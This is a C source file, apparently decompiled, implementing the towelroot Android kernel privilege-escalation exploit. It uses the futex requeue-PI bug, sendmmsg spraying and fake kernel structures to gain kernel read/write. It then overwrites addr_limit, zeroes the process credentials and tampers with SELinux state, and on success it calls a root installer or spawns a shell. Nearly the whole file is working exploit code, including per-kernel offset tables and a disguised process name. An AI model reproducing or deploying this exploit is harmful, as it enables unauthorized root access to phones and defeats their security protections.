#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/system_properties.h>
#include <sys/prctl.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include "util.h"
#include "ksymbol.h"

#ifdef DEBUG
#define printff    printf
#else
#define printff(...) 
#endif

#define FUTEX_WAIT_REQUEUE_PI   11
#define FUTEX_CMP_REQUEUE_PI    12
#define FUTEX_LOCK_PI           6

typedef enum __bool { false = 0, true = 1, } bool;

typedef struct _phone_info {
    char band[12];
    char model[64];
    char release[64];
    char version[64];
    unsigned int e;
    unsigned int f;
    unsigned int a;
    unsigned int b;
    unsigned int c;
    unsigned int selinux_mark;
    unsigned int selinux_extra;
} phone_info_t, *phone_info_ptr;

struct mmsghdr {
    struct msghdr msg_hdr;
    unsigned int msg_len;
};

///////////////////////////////////////////////////////////////

phone_info_t g_supported_phones[] = {
	{"++dummy++", "++dummy++", "++dummy++", "++dummy++", 0, 0, 0, 0, 0, 0, 0},
};

//1430300136088.so, [JAR-100f-3016-new]
phone_info_t g_default_31_phones[] = {
	{"++dummy++", "++dummy++", "++dummy++", "++dummy++", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0 },
};
//1430300964415.so, [JAR-100f-3439-1-new]plist
phone_info_t g_default_34_phones[] = {
	{"++dummy++", "++dummy++", "++dummy++", "++dummy++", 0x20, 0x0, 0x60, 0x48, 0x0, 0x0, 0x0 },
};

int g_supported_phones_count = 0; //sizeof(g_supported_phones) / sizeof(phone_info_t);

typedef struct _generic_release_solution {
	char release[64];
	phone_info_t info;
} generic_release_solution_t;

generic_release_solution_t g_release_solutions[] = {
	{ "3.0.15",   {"", "", "", "", 0x80, 0xc0, 0x0, 0x88, 0x08, 0x0, 0x0} },
	{ "3.0.31",   {"", "", "", "", 0x80, 0xc0, 0x0, 0x88, 0x08, 0x0, 0x0} },
	{ "3.4.0",   {"", "", "", "", 0x80, 0xc0, 0x0, 0x88, 0x08, 0x0, 0x0} },
	{ "3.4.43",   {"", "", "", "", 0x80, 0xc0, 0x0, 0xa*4, 0x08, 0x0, 0x0} },
}; 

int g_release_solutions_count = sizeof(g_release_solutions) / sizeof(generic_release_solution_t);

///////////////////////////////////////////////////////////////

volatile unsigned short g_listen_port = 12333;

volatile phone_info_t *g_this_phone = NULL;
volatile char sock_data_buf[224];
volatile int g_listener_ready;
volatile unsigned int g_magic;
volatile struct mmsghdr g_msgvec[1024];
volatile int swag2;
volatile int swag;
volatile int do_socket_tid_read;
volatile int tid_pi_state;
volatile int sync_pi_state;
volatile int g_mm_1000000;
volatile int dword_1AF24;
volatile int goodval_low_bit;
volatile int dword_1AF2C;
volatile int sync_write_addr_limit_done;
volatile int found_selinux_key;
volatile int sel_enforcing;
volatile int victim_tid;
volatile int addr_limit;
volatile int my_sgid;
volatile int my_tid;
volatile int my_euid;
volatile int my_ppid;
volatile int my_egid;
volatile int my_suid;
volatile int my_uid;
volatile int my_pid;
volatile int my_gid;

//////////////////////////////////////////////////////////////////



ssize_t read_kernel_4(const void *ptr, void *pout) {
    ssize_t v4;
    int v6[2];

    if (pipe(v6) || write(v6[1], ptr, 4u) != 4 || (v4 = read(v6[0], pout, 4u), v4 != 4)) {
        v4 = -1;
    } else {
        close(v6[0]);
        close(v6[1]);
    }
    return v4;
}

int write_kernel(void *ptr, const void *buf, size_t len) {
    int fd[2];
    int result = 0;
    void *v3;
    const void *v4;
    unsigned int v5;

    if (pipe(fd) != 0){
        result = -1;
        goto END;
    }

    v3 = ptr;
    v4 = buf;
    v5 = len;
    if (len != write(fd[1], v4, v5)) {
        result = -1;
        goto END;
    }

    v3 = ptr;
    v4 = buf;
    v5 = len;
    if (len != read(fd[0], v3, v5)) {
        result = -1;
        goto END;
    }

    close(fd[0]);
    close(fd[1]);
    result = len;

END:
    return result;
}

int write_kernel_4(void *ptr, int nVal)
{
    int v3; // [sp+4h] [bp-Ch]@1

    v3 = nVal;
    write_kernel(ptr, &v3, 4u);
    return 0;
}


int sub_99C8(unsigned int a1){
    unsigned int v1;
    int result; 
    int v3;
    unsigned int v4,v5,v6,v7,v8;
    const void* v9;
    const void* v10;
    const void* v11;
    const void* v12;
    const void* v13;
    int v14;
    int v15;
    const void *i;
    int v17; // r1@45
    int v18; // r3@45
    int v19; // r0@50
    bool v20; // cf@50
    unsigned int v21;
    int v22,v23;
    unsigned int v24;
    unsigned int v25;

    int v26; // [sp+1Ch] [bp-44h]@9
    int v27; // [sp+20h] [bp-40h]@9
    int v28; // [sp+24h] [bp-3Ch]@9
    int v29; // [sp+28h] [bp-38h]@9
    int v30; // [sp+2Ch] [bp-34h]@9
    int v31; // [sp+30h] [bp-30h]@9
    int v32; // [sp+34h] [bp-2Ch]@5

    //printf("[sub_99C8]entry\n");
    v1 = a1;
    if (a1 > 0xC0007FFF) {
        v25 = 0;
        v3 = a1 + 12;
        if (read_kernel_4((const void *)(a1 + 12), &v32) >= 0) {
            if (v32 == 0x43736564) {
                v3 = v1 + 24;
                v4 = 36;
                v5 = 32;
                v6 = 28;
                v7 = 20;
                v8 = 16;
                v21 = 4;
            } else {
                v4 = 24;
                v5 = 20;
                v6 = 16;
                v7 = 8;
                v8 = 4;
                v21 = 1;    
            }
            v9 = (const void *)(v8 + v1);
            v10 = (const void *)(v7 + v1);
            read_kernel_4(v9, &v31);
            read_kernel_4(v10, &v28);
            v11 = (const void *)(v6 + v1);
            read_kernel_4((const void *)v3, &v29);
            v12 = (const void *)(v5 + v1);
            read_kernel_4(v11, &v26);
            v13 = (const void *)(v4 + v1);
            read_kernel_4(v12, &v30);
            read_kernel_4(v13, &v27);
            if (my_uid != v31 || my_gid != v28 || my_euid != v30 \
                || my_egid != v27 || my_suid != v29 || my_sgid != v26) {
                    result = -6;
            } else if (write_kernel_4((void *)v9, 0)
                || write_kernel_4((void *)v10, 0)
                || write_kernel_4((void *)v3, 0)
                || write_kernel_4((void *)v11, 0)
                || write_kernel_4((void *)v12, 0)
                || write_kernel_4((void *)v13, 0)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 6)), 0)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 7)), 0)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 9)), -1)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 10)), -1)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 11)), -1)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 12)), -1)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 13)), -1)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 14)), -1)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 15)), -1)
                || write_kernel_4((void *)(v1 + 4 * (v21 + 16)), -1)) {
                    result = -4;
            } else if (sel_enforcing) {
                v14 = v1 + 4 * (found_selinux_key + 17);
                read_kernel_4((const void *)(v1 + 4 * (found_selinux_key + 17)), &v25);
                v15 = g_this_phone->selinux_mark;
                if (!v15 && found_selinux_key) {
                    for (i = (const void *)(v14 + 4); ; i = (char *)i + 4 ) {
                        if (v25) {
                            if (v25 > 0xC0007FFF) {
                                read_kernel_4((const void *)v25, &v24);
                                read_kernel_4((const void *)(v25 + 4), &v23);
                                read_kernel_4((const void *)(v25 + 8), &v22);
                                if (v24 == v23 && !v22 && v24 > 0xA) {
                                    break;
                                }            
                            
                            }
                            ++v15;
                            if (v15 == 3) {
                                goto LABEL_47;
                            }
                        }
                        read_kernel_4(i, &v25);
                    }
                    //v17 = found_selinux_key;
                    v18 = g_this_phone;
                    g_this_phone->selinux_mark = 1;
                    found_selinux_key = v15 + 4;
                    g_this_phone->selinux_extra = v15 + 4;
                }
                if (v25 > 0xC0008000) {
                    if (write_kernel_4((void *)v25, 1)) {
                        result = 0;
                    } else {
                        v19 = write_kernel_4((void *)(v25 + 4), 1);
                       if (v19 <= 1) {
                            result = 1 - v19;
                        } else {
                            result = 0;
                        }
                        
                    }

                } else {
LABEL_47:
                    result = -5;
                }


            } else {
                result = 1;
            }
        } else {
        		printff("here is go  error");
            result = -2;
        }
    } else {
        result = -1;
    }
    //printf("[sub_99C8]exit\n");
    return result;
}

unsigned int sub_9E78(int a1, unsigned int v_addr_limit) {
    int off; // r4@1
    int i; // r6@1
    int v4; // r3@2
    unsigned int addr; // r5@5
    int v6; // r3@6
    int v8; // r4@12
    int v9; // r0@16
    int v10; // r5@26
    int v11; // r5@33
    int v12; // [sp+10h] [bp-70h]@1
    int v14; // [sp+18h] [bp-68h]@1
    int v15; // [sp+2Ch] [bp-54h]@26
    int v16; // [sp+30h] [bp-50h]@24
    int v17; // [sp+34h] [bp-4Ch]@24
    int v18; // [sp+38h] [bp-48h]@23
    int v19; // [sp+3Ch] [bp-44h]@17
    unsigned int v20; // [sp+40h] [bp-40h]@1
    int v21; // [sp+44h] [bp-3Ch]@16
    int v22; // [sp+48h] [bp-38h]@1
    unsigned int v23; // [sp+4Ch] [bp-34h]@15
    unsigned int v24; // [sp+50h] [bp-30h]@8
    unsigned int v25; // [sp+54h] [bp-2Ch]@2

    //printf("[sub_9E78]entry\n");
    off = 0;
    v20 = 0;
    read_kernel_4((const void *)((v_addr_limit & 0xFFFFE000) + 0xC), &v22);
    i = 23;
    v14 = 0;
    v12 = 0;

    while (true) {
        addr = off + v22;
        read_kernel_4((const void *)(off + v22), &v25);
        if (!v20) {
            if (my_tid == v25) {
                read_kernel_4((const void *)(addr + 4), &v18);
                if (v18 == my_pid) {
                    read_kernel_4((const void *)(addr + 12), &v20);
                    read_kernel_4((const void *)(addr + 20), &v16);
                    read_kernel_4((const void *)(addr + 24), &v17);
                    v14 = off;
                    if (v17 != v16) {
                        v12 = 4 * (i - 1);
                    } else {
                        v12 = 4 * i;
                    }
                }
            }
        }
        if (v25 == 0x5F527670) { // '_Rvp'
            read_kernel_4((const void *)(addr + 4), &v24);
            if (v24 == 0x656D6974) { // 'emit'
                break;
            }
        }
        off += 4;
        ++i;
        if (off == 4000) {
            return -1;
        }
    }
    if ((unsigned int)(i - 23) >= 1000) {
        return -1;
    }
    if (v20 <= 0xBFFFFFFF) {
        return 0xFFFFFFCE;
    }
    v8 = off - 8;
    if (a1 == 1) {
        read_kernel_4((const void *)(v8 + v20), &v23);
    } else if (a1 == 2) {
        read_kernel_4((const void *)(v8 + v22), &v23);
        sub_99C8(v23);
        read_kernel_4((const void *)(v8 + v20), &v23);
    } else if (!a1) {
        read_kernel_4((const void *)(v8 + v22), &v23);
    }
    sub_99C8(v23);
    if (v12) {
        v9 = v22;
        v21 = v22;
        while (true) {
            read_kernel_4((const void *)(v9 + v14), &v19);
            if (tid_pi_state == v19) {
                read_kernel_4((const void *)(v21 + 4), &dword_1AF24);
                break;
            } else {
                read_kernel_4((const void *)(v12 + v21), &v21);
                v9 = v21 - v12;
                v21 -= v12;
                if (v21 == v22) {
                    break;
                }
            }
        }
    }
    if ((unsigned int)dword_1AF24 <= 0xC0000000 || !goodval_low_bit) {
        return 0;
    }
    v10 = goodval_low_bit + dword_1AF24 - 12;
    v15 = 0;
    read_kernel_4((const void *)v10, &v15);
    if (v15 != 0x7E) {
        return -1;
    }
    write_kernel_4((void *)(v10 + 4), v10 + 4);
    write_kernel_4((void *)(v10 + 8), v10 + 4);
    read_kernel_4((const void *)(v10 + 16), &v15);
    write_kernel_4((void *)(v10 + 12), v15);
    v11 = v15;
    if ( (unsigned int)v15 <= 0xC0000000 )
        return -1;
    read_kernel_4((const void *)v15, &v15);
    write_kernel_4((void *)(v11 + 4), v15);
    //printf("[sub_9E78]exit\n");
    return 0;
}

unsigned int signal_proc()
{
  unsigned int result; // r0@1
  int v1; // [sp+0h] [bp-18h]@3
  int v2; // [sp+4h] [bp-14h]@3

    

  result = syscall(224);
  if ( !dword_1AF2C )
  {
    result = (unsigned int)addr_limit;
    if ( addr_limit )
    {
      v2 = dword_1AF2C;
      v1 = -1;
      if ( sync_write_addr_limit_done ) 
      {
     
        my_pid = getpid();
        my_tid = gettid();
        my_ppid = getppid();
        getresuid(&my_uid, &my_euid, &my_suid);
        getresgid(&my_gid, &my_egid, &my_sgid);
        result = sub_9E78(2, addr_limit);
        dword_1AF2C = 1;
      }
      else
      {

        write_kernel((void *)addr_limit, &v2, 4);
        result = read_kernel_4(addr_limit, &v1);
        printff("start write kernel: %08x, %d, %d\n", addr_limit, result, errno);
        if ( !v1 )
          sync_write_addr_limit_done = 1;
      }
    }
  }
  return result;
}

int make_action(int pipefd)
{
  int v1; // r4@1
  int tid; // [sp+14h] [bp-Ch]@1

  v1 = pipefd;
  tid = syscall(224);
  write(v1, &tid, 4u);
  if ( !setpriority(0, 0, 13)
    && bsd_signal(12, signal_proc) != -1
    && !syscall(240, &swag, FUTEX_LOCK_PI, 1, 0, 0, 0) )
  {
    while ( 1 )
    {
      sleep(0x2710u);
      sleep(0x2710u);
    }
  }
  return 0;
}

signed int create_thread_ret_pid()
{
  signed int result; // r0@2
  int pipefd[2]; // [sp+0h] [bp-18h]@1
  int tid; // [sp+8h] [bp-10h]@1
  pthread_t newthread; // [sp+Ch] [bp-Ch]@3

  tid = 0;
  if ( pipe(pipefd) )
  {
    result = -1;
  }
  else
  {
    pthread_create(&newthread, 0, (void *(*)(void *))make_action, (void *)pipefd[1]);
    read(pipefd[0], &tid, 4u);
    close(pipefd[0]);
    close(pipefd[1]);
    result = tid;
  }
  return result;
}

int pi_state_helper(int prio)
{
  int _prio; // r5@1
  int v2; // r4@1

  _prio = prio;
  v2 = syscall(224);
  if ( !setpriority(0, 0, _prio) )
  {
    sync_pi_state = 1;
    tid_pi_state = v2;
    if ( !syscall(240, &swag, FUTEX_LOCK_PI, 1, 0, 0, 0) )
    {
      while ( 1 )
      {
        sleep(10000u);
        sleep(10000u);
      }
    }
  }
  return 0;
}

void printMagicValue(unsigned long ptr){
	int i =0;
	for ( i=0; i < 0x50; i+=0x10  )
	{
		printf("%08x: %08x, %08x, %08x, %08x\n", i,
			*(unsigned long*)(ptr+i + 0),
			*(unsigned long*)(ptr+i + 4),
			*(unsigned long*)(ptr+i + 8),
			*(unsigned long*)(ptr+i + 12));
	}
}

unsigned int wait_for_buf_res(unsigned int result, int a2)
{
  unsigned int v2; // r4@1
  int v3; // r5@1
  signed int v4; // r3@2
  unsigned int v5; // r2@5
  unsigned int v6; // r1@7
  unsigned int v7; // r2@9
  int iTime = 0;

  v2 = result;
  v3 = a2;
  if ( result )
  {
    v4 = 0;
    do
    {
      if ( v4 > 17 )
      {
        usleep(100000u);
        v4 = 0;
      }
      v5 = *(unsigned int *)(v2 + 4 * v4++);
    }
    while ( v5 <= 0xC0000000 || v5 == v3 );
    //sleep(1);
    printff("get vol res: %08x\n", v5);
    printMagicValue(v2);
    v6 = goodval_low_bit;
    if ( !goodval_low_bit )
      v6 = v5 << 19;
    v7 = v5 & 0xFFFFE03F;
    if ( !goodval_low_bit )
      goodval_low_bit = v6 >> 19;
    result = v7 & 0xFFFFFFC0;
  }
  return result;
}

int search_goodnum()
{
  signed int result; // r0@2
  int sockfd; // r5@5
  int i; // r3@6
  int v3; // r5@19
  int v4; // r7@19
  int v5; // r3@20
  __pid_t tid; // r7@21
  unsigned int v7; // r0@22
  unsigned int v8; // r10@22
  int v9; // r5@24
  const void *v10; // r10@24
  int v11; // r8@24
  int v12; // r2@25
  __pid_t v13; // r8@26
  pthread_t newthread; // [sp+10h] [bp-40h]@15
  struct sockaddr_in addr; // [sp+14h] [bp-3Ch]@7
  int v16; // [sp+24h] [bp-2Ch]@1

  // search_goodnum 0.1

  printff("search_goodnum 0.1\n");
  syscall(__NR_gettid);
  if ( syscall(__NR_futex, &swag, FUTEX_LOCK_PI, 1, 0, 0, 0) )
    goto return_0;

  // accept_socket..
    
    //printf("search_goodnum: accept\n");
  sockfd = socket(2, 1, 0);
  if ( sockfd < 0 )
    goto return_0;
  for ( i = (unsigned short)g_listen_port; ; i = ((unsigned short)g_listen_port++ + 1) & 0xFFFF )
  {
    addr.sin_port = ((unsigned int)i >> 8) | (i << 8);
    addr.sin_family = 2;
    addr.sin_addr.s_addr = 0;
    if ( !bind(sockfd, (const struct sockaddr *)&addr, 0x10u) )
      break;
  }
  if ( listen(sockfd, 3) )
  {
return_0:
    result = 0;
    goto ret;
  }
  g_listener_ready = 1;
  while ( accept(sockfd, 0, 0) < 0 )
    ;

  printff("search_goodnum 0.2\n");
  // search_goodnum 0.2..

  while ( syscall(__NR_futex, &swag2, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag, 0) != 1 )
    usleep(100000u);

  // wake_actionthread(6)..
  printff("search_goodnum 0.3\n");
  pthread_create(&newthread, 0, (void *(*)(void *))pi_state_helper, (void *)6);
  while ( !sync_pi_state )
    usleep(100000u);
  swag = 0;

  printff("search_goodnum 0.4\n");
  // search_goodnum 0.4..

    syscall(__NR_futex, &swag, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag, 0);

  // search_goodnum 0.5..
  printff("search_goodnum 0.5\n");

  int nTimeout = 0;
  while ( !do_socket_tid_read ){
	  usleep(50000u);
	  // 如果超时说明洞被补上，直接退出
	  if ( nTimeout++ > 200 ){
		  exit(104);
	  }
  }

  printff("search_goodnum 0.6\n");
  v3 = g_magic;
  v4 = g_magic - 4;
  if ( g_magic != 4 )
  {
    memset((void *)(g_magic - 4), 0, 0x400u);
    v5 = v3 + 28;
    *(unsigned int *)(v4 + 16) = 0;
    *(unsigned int *)(v5 + 16) = v3 + 8;
    *(unsigned int *)(v3 - 4) = 0x85;
    *(unsigned int *)(v4 + 4) = v3 + 0x20;
    *(unsigned int *)(v4 + 12) = v3 + 0x28;
    *(unsigned int *)(v4 + 8) = 0;
    *(unsigned int *)(v3 + 28) = 0x8B;
    *(unsigned int *)(v5 + 12) = 0;
    *(unsigned int *)(v5 + 4) = 0;
    *(unsigned int *)(v5 + 8) = v3;
  }
  printMagicValue(v4);
  result = create_thread_ret_pid();
  tid = result;
  if ( result != -1 )
  {
    v7 = wait_for_buf_res(g_magic - 4, 0);
    swag = 0;
    v8 = v7;
    kill(tid, 12);
    while ( !swag )
      usleep(0x186A0u);
    sleep(1u);
    v9 = g_magic;
    printff("search_goodnum 0.8, v8: %08x\n", v8);
    v10 = (const void *)(v8 + 8);
    v11 = g_magic - 4;
    swag = victim_tid | 0x80000000;
    addr_limit = v10;
    if ( g_magic != 4 )
    {
      memset((void *)v11, 0, 0x400u);
      v12 = v9 + 28;
      *(unsigned int *)(v11 + 12) = v9 + 40;
      *(unsigned int *)(v11 + 16) = 0;
      *(unsigned int *)(v11) = 133;
      *(unsigned int *)(v11 + 4) = v9 + 32;
      *(unsigned int *)(v11 + 8) = 0;

      *(unsigned int *)(v12) = 139;
      *(unsigned int *)(v12 + 4) = 0;
      *(unsigned int *)(v12 + 12) = 0;
      *(unsigned int *)(v12 + 16) = addr_limit;//0xc000ff28 + __NR_getpid * 4;//addr_limit - 16;

    }
    printMagicValue(v11);
    result = create_thread_ret_pid();
    v13 = result;
    if ( result != -1 )
    {
      addr_limit = (const void *)(wait_for_buf_res(g_magic - 4, (int)addr_limit) + 8);
      kill(tid, 12);
      printff("search_goodnum 0.9, %08x\n", addr_limit);
      while ( !sync_write_addr_limit_done )
        usleep(0x186A0u);

      printff("search_goodnum 0.9.1\n");
      kill(v13, 12);
      while ( !dword_1AF2C )
        usleep(0x186A0u);
      printff("search_goodnum 0.9.2\n");
      swag = 0;
      kill(v13, 12);
      while ( !swag )
        usleep(0x186A0u);
      //printff("search_goodnum 0.9.1\n");
      sleep(1u);
      printff("search_goodnum 1.0\n");
      swag = victim_tid | 0x80000000;
      goto return_0;
    }
  }
ret:
  return result;
}


void* send_magicmsg(void *arg)
{
    struct sockaddr_in *addr; // r6@1
    char *v1; // r8@1
    struct iovec *v2; // r7@1
    unsigned int v3; // r11@1
    int socket_fd; // r4@3
    unsigned int port; // r3@4
    int v6; // r1@5
    int *v7; // r3@5
    struct mmsghdr *msgvec; // r3@7
    int *p_end, i;

    //printf("send_magicmsg entry\n");
    addr = (struct sockaddr_in *)&sock_data_buf[g_this_phone->a];
    v1 = &sock_data_buf[g_this_phone->f];
    v2 = (struct iovec *)&sock_data_buf[g_this_phone->e];
    v3 = g_this_phone->b;
    victim_tid = syscall(__NR_gettid);
    while ( !g_listener_ready )
        sleep(1u);
    socket_fd = socket(AF_INET, SOCK_STREAM, 0);
    if ( socket_fd >= 0 )
    {
        while ( 1 )
        {
            port = (unsigned short)g_listen_port;
            addr->sin_family = AF_INET;
            addr->sin_port = ((port >> 8) | (port << 8));
            inet_aton("127.0.0.1", &addr->sin_addr);
            if ( connect(socket_fd, (const struct sockaddr *)addr, 0x10u) >= 0 )
                break;
            sleep(1u);
        }
        v6 = g_magic;
        v7 = (int *)sock_data_buf;
        p_end = sock_data_buf + 224;

        do
        {
            *v7 = v6;
            ++v7;
        }
        //while ( v7 != &g_listener_ready );
        while ( v7 != p_end );
        msgvec = g_msgvec;
        *(unsigned long *)&sock_data_buf[v3] = 1;

//		for (i = 0; i < 224/4; i++) {
//			((int*)sock_data_buf)[i] = i + 0x50000000;
//		}

//		((int*)sock_data_buf)[0x8] = 0x11;
//		((int*)sock_data_buf)[0x9] = 0x12;
//		((int*)sock_data_buf)[0xa] = 0x13;
//		((int*)sock_data_buf)[0xb] = g_magic;
//        ((int*)sock_data_buf)[0xc] = g_magic;
//		((int*)sock_data_buf)[0xd] = g_magic;
//        ((int*)sock_data_buf)[0xe] = g_magic;
//        ((int*)sock_data_buf)[0xf] = g_magic;

//        for (i = 0; i < 8; i++) {
//        	v2[i].iov_base = (void *) g_magic;
//        	v2[i].iov_len = 0x10;
//		}

        //do
        for(i=0; i<1024; i++)
        {
            msgvec->msg_hdr.msg_name = addr;
            msgvec->msg_hdr.msg_namelen = 128;
            msgvec->msg_hdr.msg_iov = v2;
            msgvec->msg_hdr.msg_iovlen = 8;
            msgvec->msg_hdr.msg_control = v1;
            msgvec->msg_hdr.msg_controllen = 32;
            msgvec->msg_hdr.msg_flags = 0;
            msgvec->msg_len = 1024;
            ++msgvec;
        }
        //while ( (int *)msgvec != &swag2 );
        if ( !setpriority(0, 0u, 12) )
        {
            syscall(__NR_futex, &swag2, FUTEX_WAIT_REQUEUE_PI, 0, 0, &swag, 0);
            do_socket_tid_read = 1;
            while ( 1 )
            	//syscall(__NR_sendmsg, socket_fd, g_msgvec, 0);
                syscall(__NR_sendmmsg, socket_fd, g_msgvec, 1024, 0);
        }
    }
    return 0;
}

void *map_magic()
{
  void *addr;
  addr = mmap((void *)0x1000000, 0x100000u, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
  if ( addr != (void *)-1 ) {
      g_mm_1000000 = addr;
      addr += 0x800;
      g_magic = addr;
  }
  return addr;
}

//int main(int argc, char **argv)
int towelroot_main() 
{
    struct utsname sysinfo;
    char tmp[32];
    int i, fd, n;
    int len_model, len_release, len_version;
    pthread_t tid;

    prctl(PR_SET_NAME, "pvR_timewQ", 0, 0, 0);
/*
    if (argc != 2) {
        return 1;
    }
    strncpy((char *)argv[0], argv[1], strlen(argv[0]));
*/
    if(uname(&sysinfo)) {
        return 1;
    }

    // 如果找到这个函数，代表着这个机器会有list的检测，就不执行，以免crash
    int val = ksymbol_kallsyms_lookup("__list_add");
    if ( val != KSYMBOL_LOOKUP_404  && val != KSYMBOL_LOOKUP_500 ){
    	exit(103);
    	return 1;
    }

    // search for the matching phone
    __system_property_get("ro.product.model", tmp);
    len_model = strlen(tmp);
    len_release = strlen(sysinfo.release);
    len_version = strlen(sysinfo.version);
    g_this_phone = NULL;

#define STR_VER_3_4 "3.4.39"
#define STR_VER_3_0 "3.0.16"

    if ( strncmp(sysinfo.release, STR_VER_3_4, strlen(STR_VER_3_4) -1 ) == 0){
        g_this_phone = g_default_34_phones;
    } else if ( strncmp(sysinfo.release, STR_VER_3_0, strlen(STR_VER_3_0) -1 ) == 0){
    	 g_this_phone = g_default_31_phones;
    }

    if (g_this_phone == NULL)
    	exit(101);

    sel_enforcing = g_this_phone->selinux_mark;
    found_selinux_key = g_this_phone->selinux_extra;
    if(!sel_enforcing) {
        int enforce = 0;
        struct stat s_stat;
        fd = open("/sys/fs/selinux/enforce", O_RDONLY);
        if(fd < 0) {
            if(!stat("/sys/fs/selinux", &s_stat) && (s_stat.st_mode & 0xf000) == 0x4000) {
                enforce = 1;
            }
        } else {
            memset(tmp, 0, 20);
            n = read(fd, tmp, 4);
            close(fd);
            if(n >= 0 && sscanf(tmp, "%d", &enforce) != 1) {
                enforce = 0;
            }
        }
        sel_enforcing = enforce;
        if(enforce) {
            found_selinux_key = stat("/proc/key-users", &s_stat)? 0 : 4;
        }
    }

    if(map_magic() == (void *)-1) {
    	exit(102);
        return 1;
    }
    pthread_create(&tid, 0, send_magicmsg, 0);
    search_goodnum();

    return 0;
}


///////////////////////////////////////////////////////////////////////////////


extern int runrt(int uid, const char* pszPkgName, const char* pszRootName);

void do_root(int argc, const char **argv)
{
	printff("runrt!\n");
#ifndef DEBUG
	runrt( atoi(argv[1]), argv[2], argv[3] );
#else
	system("sh");
#endif
}

int main(int argc, const char **argv)
{
	int uid = 0, ret = -1, wait_time = 60, pid = 0;
	
	check_parent_pid();
	if(argc < 4) return 1;
	
	pid = fork();
	if(pid == 0) {
		ret = towelroot_main();
		printff("subproc ret: %d\n", getuid());
		exit(ret);
	} else {
		ret = 2;
		while ( wait_time > 0 ){
			int status = 0;
			if ( pid == waitpid(pid, &status, WNOHANG) ){
				if (WIFEXITED(status)) {
					ret = WEXITSTATUS(status);
					break;
				}
			}

			sleep(1);
			wait_time -= 1;
		}
	}
	
	uid = getuid();
	printff("parent ret: %d, %d\n", uid, ret);
	if( uid == 0 ) {
		do_root(argc, argv);
	} else {
		if (ret == 0) {
			ret = -1;
		}
	}
	return (uid == 0) ? 0: ret;
}
